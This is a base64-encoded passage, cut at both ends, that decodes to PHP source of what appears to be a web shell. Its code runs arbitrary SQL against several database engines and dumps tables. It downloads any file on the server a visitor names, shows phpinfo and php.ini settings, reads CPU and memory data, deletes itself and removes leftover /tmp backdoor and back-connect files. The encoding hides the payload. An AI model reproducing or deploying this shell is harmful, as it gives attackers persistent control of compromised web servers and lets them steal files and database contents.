vciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7CiAgICAgIH0KICAgICBlbHNlCiAgICAgIHsKICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpCiAgICAgICB7CiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0dXJuIDI7CiAgICAgICByZXR1cm4gMTsKICAgICAgIH0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7CiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsKICAgICAgfQogICAgYnJlYWs7CiAgICB9CiAgcmV0dXJuIDA7CiAgfQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpCiAgewogICAkdGhpcy0+cm93cz1hcnJheSgpOwogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOwogICAkdGhpcy0+bnVtX3Jvd3M9JHRoaXMtPm51bV9maWVsZHM9MDsKICAgc3dpdGNoKCR0aGlzLT5kYikKICAgIHsKICBjYXNlICdNeVNRTCc6CiAgICR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7CiAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOwogICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsKICAgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOwogICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9CiAgICBicmVhazsKICAgIGNhc2UgJ01TU1FMJzoKICAgJHRoaXMtPm51bV9yb3dzPUBtc3NxbF9udW1fcm93cygkdGhpcy0+cmVzKTsKICAgJHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7CiAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOwogICBAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7CiAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307CiAgICBicmVhazsKICAgIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAkdGhpcy0+bnVtX3Jvd3M9QHBnX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsKICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7CiAgIEBwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsKICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQogICAgYnJlYWs7CiAgICBjYXNlICdPcmFjbGUnOgogICAgICR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOwogICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBvY2lfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKSAkdGhpcy0+bnVtX3Jvd3MrKzsKICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsKICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9CiAgICBicmVhazsKICAgIH0KICAgcmV0dXJuIDA7CiAgfQogZnVuY3Rpb24gZHVtcCgkdGFibGUpCiAgewogICBpZihlbXB0eSgkdGFibGUpKSByZXR1cm4gMDsKICAgJHRoaXMtPmR1bXA9YXJyYXkoKTsKICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOwogICAkdGhpcy0+ZHVtcFsxXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsKICAgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7CiAgICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOwogICAkdGhpcy0+ZHVtcFs0XSA9ICcjIyAgICBUYWJsZTogJy4kdGFibGU7CiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOwogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTXlTUUwgZHVtcCc7CiAgIGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOwogICBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7CiAgICR0aGlzLT5kdW1wW10gPSAkdGhpcy0+cm93c1swXVsnQ3JlYXRlIFRhYmxlJ107CiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsKICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICAgIGJyZWFrOwogICAgY2FzZSAnTVNTUUwnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE1TU1FMIGR1bXAnOwogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOwogICBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7CiAgIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQogICAgewogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICAgIGJyZWFrOwogICAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgUG9zdGdyZVNRTCBkdW1wJzsKICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9CiAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7CiAgICB9CiAgICBicmVhazsKICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE9SQUNMRSBkdW1wJzsKICAgICAgJHRoaXMtPmR1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsKICAgIGJyZWFrOwogICAgZGVmYXVsdDoKICAgICByZXR1cm4gMDsKICAgIGJyZWFrOwogICAgfQogICByZXR1cm4gMTsKICB9CiBmdW5jdGlvbiBjbG9zZSgpCiAgewogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsKICAgIGJyZWFrOwogICAgY2FzZSAnTVNTUUwnOgogICAgIEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgICBicmVhazsKICAgIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgIEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgICBicmVhazsKICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgICBicmVhazsKICAgIH0KICB9CiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkKICB7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgY2FzZSAnTXlTUUwnOgogICByZXR1cm4gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7CiAgICBicmVhazsKICAgIGNhc2UgJ01TU1FMJzoKICAgICByZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7CiAgICBicmVhazsKICAgIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgIHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsKICAgIGJyZWFrOwogICAgY2FzZSAnT3JhY2xlJzoKICAgICByZXR1cm4gQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpOwogICAgYnJlYWs7CiAgICBkZWZhdWx0OgogICAgIHJldHVybiAwOwogICAgYnJlYWs7CiAgICB9CiAgfQogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkKIHsKICBpZigkZmlsZT1AZm9wZW4oJF9QT1NUWydkX25hbWUnXSwiciIpKXsgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7IEBmY2xvc2UoJGZpbGUpOyB9CiAgZWxzZSBpZiAoJGZpbGU9cmVhZHpsaWIoJF9QT1NUWydkX25hbWUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7IH0gZWxzZSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiAgaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpCiAgIHsKICAgIEBvYl9jbGVhbigpOwogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10pOwogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsKICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsKICAgIGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSB7IGhlYWRlcignQ29udGVudC1FbmNvZGluZzogJyAuICRjb250ZW50X2VuY29kaW5nKTsgfQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7CiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiOyIpOwogICAgZWNobyAkZmlsZWR1bXA7CiAgICBleGl0KCk7CiAgIH0KIH0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xdWVyeSIpCiB7CiBlY2hvICRoZWFkOwogJHNxbCA9IG5ldyBteV9zcWwoKTsKICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107CiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsKICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsKICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsKICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107CiAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7CiBlY2hvICc8Ym9keSBiZ2NvbG9yPSNlNGUwZDg+JzsKIGlmKCEkc3FsLT5jb25uZWN0KCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7CiAgZWxzZQogICB7CiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q2FuJ3Qgc2VsZWN0IGRhdGFiYXNlPC9iPjwvZm9udD48L2Rpdj4iOwogICBlbHNlCiAgICB7CiAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KQogICAgIHsKICAgICAgaWYoc3RybGVuKCRxdWVyeSk+NSkKICAgICAgewogICAgICBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1ncmVlbj48Yj5RdWVyeSMiLiRudW0uIiA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L2ZvbnQ+PGJyPiI7CiAgICAgIHN3aXRjaCgkc3FsLT5xdWVyeSgkcXVlcnkpKQogICAgICAgewogICAgICAgY2FzZSAnMCc6CiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgYnJlYWs7CiAgICAgICBjYXNlICcxJzoKICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkKICAgICAgICB7CiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOwogICAgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1ucyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsKICAgICAgICRrZXlzID0gQGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOwogICAgICAgIGVjaG8gIjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7CiAgICAgICAgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKykKICAgICAgICAgewogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsKICAgICAgICAgJHZhbHVlcyA9IEBpbXBsb2RlKCImbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7CiAgICAgICAgIGVjaG8gJzx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7CiAgICAgICAgIH0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgYnJlYWs7CiAgICAgICBjYXNlICcyJzoKICAgICAgICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsKICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOwogICAgICAgYnJlYWs7CiAgICAgICB9CiAgICAgIH0KICAgICB9CiAgICB9CiAgIH0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKIGVjaG8gaW4oJ2hpZGRlbicsJ2RiJywwLCRfUE9TVFsnZGInXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsKIGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2wnLDAsJF9QT1NUWydteXNxbF9sJ10pOwogZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOwogZWNobyBpbignaGlkZGVuJywnY21kJywwLCdkYl9xdWVyeScpOwogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsKIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsKIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VMRUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOwogZWNobyAiPC9mb3JtPiI7CiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsKIH0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkKIHsKICAgQHVubGluayhfX0ZJTEVfXyk7CiB9CmlmKGlzc2V0KCRfR0VUWyd0bXAnXSkpCiB7CiAgIEB1bmxpbmsoIi90bXAvYmRwbCIpOwogICBAdW5saW5rKCIvdG1wL2JhY2siKTsKICAgQHVubGluaygiL3RtcC9iZCIpOwogICBAdW5saW5rKCIvdG1wL2JkLmMiKTsKICAgQHVubGluaygiL3RtcC9kcCIpOwogICBAdW5saW5rKCIvdG1wL2RwYyIpOwogICBAdW5saW5rKCIvdG1wL2RwYy5jIik7CiAgIEB1bmxpbmsoIi90bXAvcHJ4cGwiKTsKICAgQHVubGluaygiL3RtcC9ncmVwLnR4dCIpOwogfQppZihpc3NldCgkX0dFVFsncGhwaW5pJ10pKQp7CmVjaG8gJGhlYWQ7CmZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKQogewogaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOwogaWYgKEBpc19ib29sKCR2YWx1ZSkpIHJldHVybiAkdmFsdWUgPyAnVFJVRScgOiAnRkFMU0UnOwogaWYgKCR2YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsKIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOwogaWYgKEBpc19hcnJheSgkdmFsdWUpKQogewogQG9iX3N0YXJ0KCk7CiBwcmludF9yKCR2YWx1ZSk7CiAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiBAb2JfZW5kX2NsZWFuKCk7CiB9CiByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOwogfQpmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpCiB7CiAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7CiByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOwogfQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldF9hbGwnKSkKIHsKICRyID0gJyc7CiBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT4nLCAnPHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5Mb2NhbCBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOwogZm9yZWFjaCAoQGluaV9nZXRfYWxsKCkgYXMgJGtleT0+JHZhbHVlKQogIHsKICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLiRrZXkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOwogIH0KIGVjaG8gJHI7CiBlY2hvICc8L3RhYmxlPic7CiB9CmVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7CmRpZSgpOwp9CmlmKGlzc2V0KCRfR0VUWydjcHUnXSkpCiB7CiAgIGVjaG8gJGhlYWQ7CiAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7CiAgICRjcHVmID0gQGZpbGUoImNwdWluZm8iKTsKICAgaWYoJGNwdWYpCiAgICB7CiAgICAgICRjID0gQHNpemVvZigkY3B1Zik7CiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspCiAgICAgICAgewogICAgICAgICAgJGluZm8gPSBAZXhwbG9kZSgiOiIsJGNwdWZbJGldKTsKICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9CiAgICAgICAgICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7CiAgICAgICAgfQogICAgICBlY2hvICRyOwogICAgfQogICBlbHNlCiAgICB7CiAgICAgIGVjaG8gJzx0cj48dGQ+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOwogICAgfQogICBlY2hvICc8L3RhYmxlPic7CiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7CiAgIGRpZSgpOwogfQppZihpc3NldCgkX0dFVFsnbWVtJ10pKQogewogICBlY2hvICRoZWFkOwogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+TUVNT1JZPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOwogICAkbWVtZiA9IEBmaWxlKCJtZW1pbmZvIik7CiAgIGlmKCRtZW1mKQogICAgewogICAgICAkYyA9IHNpemVvZigkbWVtZik7CiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspCiAgICAgICAgewogICAgICAgICAgJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOwogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0KICAgICAgICAgICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjw